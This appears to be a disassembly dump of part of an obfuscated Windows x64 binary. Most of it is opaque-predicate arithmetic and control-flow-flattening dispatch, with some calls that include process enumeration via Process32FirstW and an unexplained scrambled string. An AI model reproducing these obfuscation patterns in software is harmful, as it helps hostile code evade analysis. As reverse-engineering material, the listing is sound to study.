mov ecx, dword [0x1400640e8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
mov edx, ebx
xor edx, 0x78ed043
and edx, ebx
not ebx
and ebx, 0x4825001
and eax, 0x30c8042
or eax, ebx
xor eax, 0x30c8042
mov ebx, eax
and ebx, edx
xor edx, eax
or edx, ebx
mov eax, edx
not eax
and eax, 0x87ff60a5
and edx, 0x78009f5a
or edx, eax
mov ebx, edx
xor ebx, 0xb060008
xor edx, 0x8071b0e6
mov esi, edx
or esi, 1
mov edi, esi
not edi
and edx, 0x74995f75
and ebx, 0x8b66a08a
or ebx, edx
mov edx, ebx
xor edx, 0x42088
xor ebx, 0x74995f74
mov eax, esi
and eax, 0xebf3d713
and edi, 0x140c28ec
or edi, eax
or esi, ebx
and ebx, 0xebf3d713
and edx, 0x140c28ec
or edx, ebx
xor edx, edi
not esi
or esi, edx
mov edx, esi
mov eax, esi
xor eax, 0x8aa35e0b
and eax, esi
not esi
and esi, 0x220040a
and edx, 0x88835a01
or edx, esi
xor edx, 0x88835a01
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0x755ca1f4
and eax, 0x8aa35e0b
or eax, edx
mov edx, eax
not edx
and edx, 0x91dee65
and eax, 0xf6e2119a
or eax, edx
xor eax, 0xf6e2119a
cmp eax, 0xffffffff
setne al
sete r9b
cmp ecx, 9
setg r8b
cmp ecx, 0xa
setl r10b
mov esi, r10d
xor sil, r8b
and sil, r10b
mov r11d, r9d
xor r11b, al
and r11b, r9b
mov ecx, r11d
xor cl, 1
mov edx, esi
xor dl, 1
mov edi, esi
and dil, dl
mov ebx, edi
xor bl, 1
xor dil, sil
or bl, dl
xor bl, 1
or bl, dil
or dl, sil
xor dl, 1
mov esi, ebx
and sil, dl
xor dl, bl
or dl, sil
or cl, r11b
xor cl, 1
mov ebx, r11d
and bl, cl
xor cl, r11b
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, cl
xor bl, 1
mov r11d, ecx
xor r11b, bl
or bl, cl
xor bl, 1
or bl, r11b
xor bl, dl
mov r11d, ebx
xor r11b, 1
and r8b, r9b
and al, r10b
or al, r8b
mov ecx, r10d
and cl, r9b
xor r10b, r9b
or r10b, cl
xor al, 1
mov ecx, eax
xor cl, r10b
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
and cl, al
xor al, 1
and r11b, al
or r11b, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, r11b
test al, 1
mov eax, 0x65bb5a3
mov edx, 0xe213b2
cmovne eax, edx
test r11b, 1
cmove eax, edx
test cl, 1
mov ecx, 0x65bb5a3
jmp 0x14001c7cd
mov rax, qword [rbp - 0x18]
mov dword [rax], 0x238
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32FirstW
add rsp, 0x20
test eax, eax
setne byte [rbp + 0xae]
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
and ebx, 0x40def4e6
mov edx, ecx
and edx, 0xbf210b19
or edx, ebx
mov ebx, edx
xor ebx, 0xbf210b19
mov edi, ebx
and edi, 0xde44b8e0
and ecx, 0x21bb471f
or ecx, edi
mov edi, ecx
not edi
and edi, 0x5a192d63
and ecx, 0xa5e6d29c
or ecx, edi
mov edi, ecx
xor edi, 0x4222200d
and ebx, 1
xor edx, 0xbf210b18
or edx, ebx
mov ebx, edx
not ebx
xor ecx, 0x845d9582
mov esi, ecx
and esi, 0x3d954f70
and edi, 0xc26ab08f
or edi, esi
or ecx, edx
and edx, 0x3d954f70
and ebx, 0xc26ab08f
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
mov ebx, ecx
xor ebx, 0x45aca0b
and ebx, ecx
not ecx
and ecx, 0x408ca0b
and edx, 0x520000
or edx, ecx
mov ecx, edx
xor ecx, 0x400000
xor edx, 0xffadffff
mov edi, ebx
not edi
mov esi, edx
and esi, 0x4d9757c4
and ecx, 0x48880b
or ecx, esi
or edx, edi
and edi, 0x4d9757c4
and ebx, 0xb268a83b
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x15f18bb1
and edx, 0xea0e744e
or edx, ecx
mov ecx, edx
xor ecx, 0x250ae01
xor edx, 0x11ab41ba
mov ebx, edx
and ebx, 0xec061164
and ecx, 0x13f9ee9b
or ecx, ebx
xor ecx, 0xec061164
xor edx, ecx
test edx, ecx
setne r8b
sete cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor bl, al
and bl, al
mov r9d, ebx
xor r9b, 1
mov r10d, r9d
and r10b, bl
mov edx, r10d
xor dl, 1
xor r10b, bl
or dl, r9b
xor dl, 1
or dl, r10b
mov ebx, ecx
or bl, dl
mov r9d, eax
xor r9b, cl
xor cl, dl
xor cl, 1
and cl, dl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor r9b, 1
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0x2f4377fc
mov edi, 0xc4b4a6c9
cmovne eax, edi
test bl, 1
mov edx, 0x2f4377fc
cmovne eax, edx
test cl, 1
cmove eax, edi
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
or edi, 0x4447d28f
mov ecx, edi
not ecx
or edx, 0x88b02920
and edx, 0x8cb2a929
and ebx, 0x40455286
or ebx, edx
and edi, 0x8cb2a929
and ecx, 0x33080450
or ecx, edi
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x5c95d026
and ecx, 0xa36a2fd9
or ecx, edx
mov edx, ecx
xor edx, 0xe72dfd56
mov ebx, ecx
xor ebx, 0xe72dfd57
and ebx, edx
xor ecx, 0x8d20200
and ecx, 0xa8d3c244
and edx, 0x572c3dbb
or edx, ecx
xor edx, 0x572c3dba
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x171716ab
and edx, 0xe8e8e954
or edx, ecx
mov ecx, edx
xor ecx, 0x88e84844
xor edx, 0x7060081
and edx, 0x6706a191
and ecx, 0x98f95e6e
or ecx, edx
mov edx, ecx
xor edx, 0x65042001
xor ecx, 0x10c00640
and edx, 0xed3d782f
and ecx, 0x12c287d0
or ecx, edx
xor ecx, 0x12c287d0
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r8b
or cl, al
or al, r8b
xor al, 1
or al, dl
or bl, r8b
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
xor bl, 1
mov ecx, eax
or cl, bl
xor bl, al
mov eax, ebx
xor al, cl
test bl, 1
mov edx, 0x3d75dced
mov ebx, 0xfaf69cf3
cmovne edx, ebx
test cl, 1
mov ecx, 0x3d75dced
cmovne edx, ecx
test al, 1
cmove edx, ebx
jmp 0x14001bee3
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x7ff56df6
and ecx, 0x800a9209
or ecx, edx
mov edx, ecx
not edx
and edx, 0x800a9209
and ecx, 0x7ff56df6
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0xdc55ab71
and edx, 0x23aa548e
or edx, ecx
mov ecx, edx
xor ecx, 0x14452970
xor edx, 0x20801404
and edx, 0xe8909605
and ecx, 0x176f69fa
or ecx, edx
xor ecx, 0x176f69fa
setne cl
sete dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg bl
mov eax, ebx
xor al, dl
xor bl, al
and bl, al
or cl, r8b
xor cl, 1
xor dl, r8b
and dl, r8b
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, ebx
xor al, 1
mov ecx, edx
xor cl, 1
and dl, al
or al, cl
and cl, bl
or cl, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xe1476aa5
mov ebx, 0x3c63618a
cmovne ecx, ebx
test al, 1
mov eax, 0xe1476aa5
cmovne ecx, eax
test dl, 1
cmove ecx, ebx
mov eax, ecx
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x70]
mov rax, qword [rbp + 0x68]
mov ecx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x15b20
mov ebx, edx
and ebx, 0x84220050
or ebx, ecx
xor ebx, 0x84220050
and edx, 0x7bdca48f
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x7bdca48f
and edx, 0x84235b70
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0xcd507704
and edx, 0x32af88fb
or edx, ebx
mov ebx, edx
xor ebx, 0xa28822
xor edx, 0xcd507705
mov esi, ecx
and esi, 0x3e1d30d9
and edi, 0xc1e2cf26
or edi, esi
or ecx, edx
and edx, 0x3e1d30d9
and ebx, 0xc1e2cf26
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x6052289c
and ecx, 0x6a08021
or ecx, edx
mov edi, ecx
xor edi, 0x4000020
xor ecx, 0x681e5b10
or ebx, 0x66f2a8bd
mov edx, ebx
not edx
and ecx, 0x6abedb11
and edi, 0x44020ac
or edi, ecx
and ebx, 0x6abedb11
and edx, 0x91010442
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x990d5742
and edx, 0x66f2a8bd
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x4d666d84
and ecx, 0xb299927b
or ecx, edx
xor ecx, 0x4d666d84
cmp ecx, 0xffffffff
setne al
sete bl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg dl
and bl, dl
and r9b, al
or r9b, bl
mov ebx, edx
and bl, al
xor dl, al
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
not al
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
mov ebx, ecx
xor bl, 1
xor cl, al
or bl, dl
xor bl, 1
or bl, cl
xor bl, r9b
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x7d5f085e
cmovne ecx, r13d
test al, 1
mov eax, 0x7d5f085e
cmovne eax, ecx
test bl, 1
jmp 0x14001c7cd
movups xmmword [0x14006922a], xmm6
movaps xmmword [0x140069220], xmm6
movaps xmmword [0x140069210], xmm6
movaps xmmword [0x140069200], xmm6
movaps xmmword [0x1400691f0], xmm6
movaps xmmword [0x1400691e0], xmm6
movaps xmmword [0x1400691d0], xmm6
movaps xmmword [0x1400691c0], xmm6
movaps xmmword [0x1400691b0], xmm6
movaps xmmword [0x1400691a0], xmm6
movaps xmmword [0x140069190], xmm6
movaps xmmword [0x140069180], xmm6
movaps xmmword [0x140069170], xmm6
movaps xmmword [0x140069160], xmm6
movaps xmmword [0x140069150], xmm6
movaps xmmword [0x140069140], xmm6
sub rsp, 0x20
lea rcx, [0x140069140]
lea rdx, str.unknown
call fcn.1400436a4
add rsp, 0x20
mov ecx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r9d, ebx
not r9d
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov ecx, ebx
or ecx, 1
mov esi, edx
not esi
mov eax, ecx
and eax, 0xb1fb49a3
mov edi, r9d
and edi, 0x4e04b65c
or edi, eax
or ecx, esi
and esi, 0xb1fb49a3
and edx, 0x4e04b65c
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and r9d, eax
and ecx, ebx
or ecx, r9d
xor eax, ecx
test eax, ecx
sete cl
setne r9b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg dl
mov eax, r9d
and al, dl
mov ebx, r10d
and bl, cl
or bl, al
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
or r9b, r10b
xor cl, r10b
and cl, r10b
mov eax, r9d
xor al, cl
xor cl, 1
xor al, 1
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, bl
and dl, al
or dl, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x7484f969
mov ebx, 0x55ac4716
cmovne ecx, ebx
test al, 1
mov eax, 0x7484f969
cmovne eax, ecx
test dl, 1
jmp 0x14001c7cd
mov dword [rbp - 0x78], 0
mov eax, 0x32285f1c
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
sub rsp, 0x30
mov dword [rsp + 0x20], 0
lea rcx, str.kmdjdheyytgebfghehheneg
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x140063bb8]
add rsp, 0x30
mov eax, 0xd7e09ee
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp byte [rbp + 0xe7], 0
mov eax, 0xfe1e3979
mov ecx, 0x91dce0e7
jmp 0x14001cca4
mov eax, 0xdd8f7636
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, 0xba093f57
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, dword [rbp + 0x118]
mov eax, 0xeedaa874
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov edx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x718f65f3
and ebx, 0x8e709a0c
or ebx, esi
or ecx, edi
and edi, 0x718f65f3
and edx, 0x8e709a0c
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
mov edx, ecx
xor edx, 0xf9829e1e
and edx, ecx
not ecx
and ecx, 0x86eaf85
and ebx, 0xf791507a
or ebx, ecx
mov ecx, ebx
xor ecx, 0xf791507a
xor ebx, 0x84cae04
mov edi, ecx
and edi, 0xf9829e1e
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x67d61e0
and edx, 0xf9829e1f
or edx, edi
and ebx, 0xcc5dbe4e
mov edi, ecx
and edi, 0x33a241b1
or edi, ebx
xor edi, 0xcc5dbe4f
and ecx, 1
or ecx, edi
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x18faaac7
and edx, ecx
and ecx, 0xe7055538
or ecx, ebx
xor ecx, 0xe7055538
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x27b61594
and ecx, 0xd849ea6b
or ecx, edx
mov edx, ecx
xor edx, 0x98006a48
xor ecx, 0x861584
and ecx, 0x40cf95a7
and edx, 0xbf306a58
or edx, ecx
xor edx, 0x40cf95a7
cmp edx, 0xffffffff
sete r9b
setne dl
cmp r8d, 9
setg al
cmp r8d, 0xa
setl cl
mov ebx, eax
or al, dl
and dl, cl
and bl, r9b
or bl, dl
xor cl, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
mov r8d, ebx
xor r8b, 1
xor cl, 1
or al, r8b
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
xor bl, cl
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0xc26541fb
mov eax, 0x1550b5d2
cmovne edx, eax
test bl, 1
mov eax, edx
mov ebx, 0xc26541fb
cmovne eax, ebx
test cl, 1
cmovne eax, edx
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
sub rsp, 0x20
mov edx, 0xfa
lea rcx, [0x140069440]
lea r8, [0x14005d1f0]
lea r9, str.unknown_un
call fcn.14001ccf0
add rsp, 0x20
mov eax, 0x8fe31ca5
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
mov ebx, edi
xor ebx, 0x340ad024
and ebx, edi
not edi
and edi, 0xf6bebaac
and edx, 0x9414553
or edx, edi
mov ecx, edx
xor ecx, 0x340a9024
or ecx, 0xcbf52fdb
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x435ced00
and edx, 0x34021024
or edx, esi
or ecx, edi
and edi, 0x435ced00
and ebx, 0xbca312ff
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xcbf52fdb
and ecx, 0x340ad024
or ecx, edx
mov ebx, ecx
xor ebx, 1
and ebx, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
not edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0xdb210eaf
and ebx, 0x24def150
or ebx, esi
or edx, edi
and edi, 0xdb210eaf
and ecx, 0x24def150
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x26621dbe
and edx, 0xd99de241
or edx, ecx
mov ecx, edx
xor ecx, 0x990e000
xor edx, 0x4620012
and edx, 0xd46f0253
and ecx, 0x2b90fdac
or ecx, edx
mov edx, ecx
xor edx, 0x180e48c
xor ecx, 0xd0480202
and ecx, 0xfa581b22
and edx, 0x5a7e4dd
or edx, ecx
xor edx, 0xfa581b22
cmp edx, 0xffffffff
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg r10b
mov edx, r10d
and dl, cl
and r8b, r10b
xor r10b, cl
or r10b, dl
mov r9d, r10d
xor r9b, 1
and bl, cl
or bl, r8b
mov eax, ebx
xor al, 1
mov edx, r9d
and dl, r10b
mov ecx, ebx
and cl, al
mov r8d, edx
and r8b, r9b
xor dl, r9b
or dl, r8b
xor cl, 1
mov r8d, ecx
xor r8b, al
or cl, al
xor cl, 1
or cl, r8b
xor cl, dl
xor al, r10b
or bl, r9b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0xdb9da8d4
mov eax, 0x933afb4e
cmovne edx, eax
test bl, 1
mov eax, 0xdb9da8d4
cmovne eax, edx
mov ebx, dword [rbp - 0x6c]
mov dword [rbp + 0x11c], ebx
test cl, 1
jmp 0x14001c963
mov rax, qword [rbp + 0x18]
mov rax, qword [rbp + 0x18]
mov dword [rax], 0
mov rax, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x20]
sub rsp, 0x20
mov r8d, 0x1f4
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov r9, qword [rbp + 0x18]
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
mov rdx, rsi
mov r8d, 0xfa
call qword [0x140064008]
add rsp, 0x20
mov rax, qword [rbp + 0x20]
mov eax, 0xa5f56491
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
or edx, 0x6d3e8691
mov edi, edx
not edi
or ebx, 0x92c1796e
mov ecx, ebx
not ecx
and edx, 0x86c14028
and edi, 0x10003946
or edi, edx
and ebx, 0x86c14028
and ecx, 0x693e8691
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x6d3e8691
and ecx, 0x92c1796e
or ecx, edx
mov edi, ecx
xor edi, 1
and edi, ecx
mov ebx, ecx
not ebx
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov edx, edi
not edx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0x32886897
and edi, 0xcd779768
or edi, esi
or edx, ebx
and ebx, 0x32886897
and ecx, 0xcd779768
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xd3911d10
and ecx, 0x2c6ee2ef
or ecx, edx
mov edx, ecx
xor edx, 0x41901810
xor ecx, 0x426c2e9
and edx, 0x69d83816
and ecx, 0x9627c7e9
or ecx, edx
xor ecx, 0x9627c7e9
setne r9b
sete r8b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg bl
mov eax, ebx
xor al, r10b
and al, bl
mov ecx, eax
not cl
and cl, al
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and al, r8b
and cl, r9b
or cl, al
and r9b, r10b
or r10b, r8b
and bl, r8b
or bl, r9b
xor bl, 1
mov eax, r10d
xor al, bl
or bl, r10b
xor bl, 1
or bl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x31af9351
mov ebx, 0x8c183f1f
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0x31af9351
jmp 0x14001c7cd
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0x1f8ece71
and edx, 0xe071318e
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xe071318f
and edx, 0x1f8ece70
or edx, ebx
mov ebx, ecx
and ebx, 1
xor ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x51f56030
and ecx, 0xae0a9fcf
or ecx, ebx
xor ecx, 0xae0a9fcf
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edi, ecx
not edi
or ecx, 0x1c0e8549
mov ebx, ecx
not ebx
or edi, 0xe3f17ab6
mov edx, edi
not edx
and ecx, 0xafc4e629
and ebx, 0x40311896
or ebx, ecx
and edi, 0xafc4e629
and edx, 0x100a0140
or edx, edi
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xba07920
and edx, 0xf45f86df
or edx, ecx
xor edx, 0x17aefc69
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov r9d, eax
xor r9b, 1
or bl, r8b
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r9b
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xe012a3f3
mov ebx, 0x74324e66
cmovne ecx, ebx
test dl, dl
mov edx, ecx
mov ebx, 0xe012a3f3
cmovne edx, ebx
mov ebx, dword [rbp - 0x74]
mov dword [rbp + 0x124], ebx
test al, 1
cmovne edx, ecx
mov eax, edx
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov dword [rbp - 0x74], 0
mov eax, 0x3c953fbe
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov eax, 0x94f49f2a
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call qword [0x140064028]
add rsp, 0x20
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edi, [rdx - 1]
imul edi, edx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x7d5dc3aa
mov edx, edi
xor edx, 0x7d5dc3aa
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x82a23c54
and edx, 0x7d5dc3ab
or edx, ebx
and ecx, 0xe206432c
and edi, 0x1df9bcd3
or edi, ecx
mov ecx, edi
xor ecx, 0x5d9b4d0
mov esi, edx
not esi
mov ebx, esi
and ebx, 0x9a260b27
and edx, 0x65d9f4d8
or edx, ebx
xor edi, 0x82060324
and edi, 0x9a260b27
and ecx, 0x65d9f4d8
or ecx, edi
xor ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
setne cl
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r8b
mov eax, r9d
mov r10d, ebx
and r10b, r9b
xor bl, r9b
or r9b, r8b
xor r9b, 1
xor al, r8b
not al
and al, r8b
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
xor cl, r8b
or bl, r10b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0x223039d0
mov eax, 0x8ab17ba6
cmovne edx, eax
test cl, 1
mov eax, 0x223039d0
jmp 0x14001c95d
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x7ae7562a
and edx, ecx
and ecx, 0x8518a9d5
or ecx, ebx
xor ecx, 0x8518a9d5
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x36f42013
and ebx, ecx
or ecx, 0xc90bdfec
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xa0ad1f92
and edx, 0x16502001
or edx, esi
or ecx, edi
and edi, 0xa0ad1f92
and ebx, 0x5f52e06d
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xc90bdfec
and ecx, 0x36f42013
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xbfc3b8ba
and edx, 0x403c4745
or edx, ecx
mov ecx, edx
xor ecx, 0x33c1b890
xor edx, 0x40084501
and edx, 0xcc0a452b
and ecx, 0x33f5bad4
or ecx, edx
xor ecx, 0x33f5bad4
sete r9b
setne r10b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ecx, eax
xor cl, r8b
and cl, al
mov esi, r10d
xor sil, r9b
and sil, r10b
mov r11d, esi
xor r11b, 1
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov edi, edx
xor dil, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dil
or dl, cl
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ebx, r11d
and bl, sil
mov ecx, ebx
xor cl, 1
xor bl, sil
or cl, r11b
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
xor cl, 1
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, r9b
and dl, al
and r10b, r8b
and al, r9b
or al, r10b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, al
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
xor dl, cl
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0x8e3d1d91
mov ecx, 0x796c32f6
cmovne eax, ecx
test dl, 1
mov r15d, 0x796c32f6
cmove eax, ecx
test bl, 1
mov ecx, 0x8e3d1d91
jmp 0x14001c7cd
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call qword [0x140063bd0]
add rsp, 0x20
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xc1f5ca8f
and edx, ebx
not ebx
and ebx, 0x5e4d1af8
and ecx, 0xa1b2e507
or ecx, ebx
mov ebx, ecx
xor ebx, 0x80a00007
xor ecx, 0x40450a88
or ecx, 0x3e0a3570
mov edi, edx
not edi
mov esi, ecx
and esi, 0x5954d5e8
and ebx, 0x80a10a07
or ebx, esi
or ecx, edi
and edi, 0x5954d5e8
and edx, 0xa6ab2a17
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
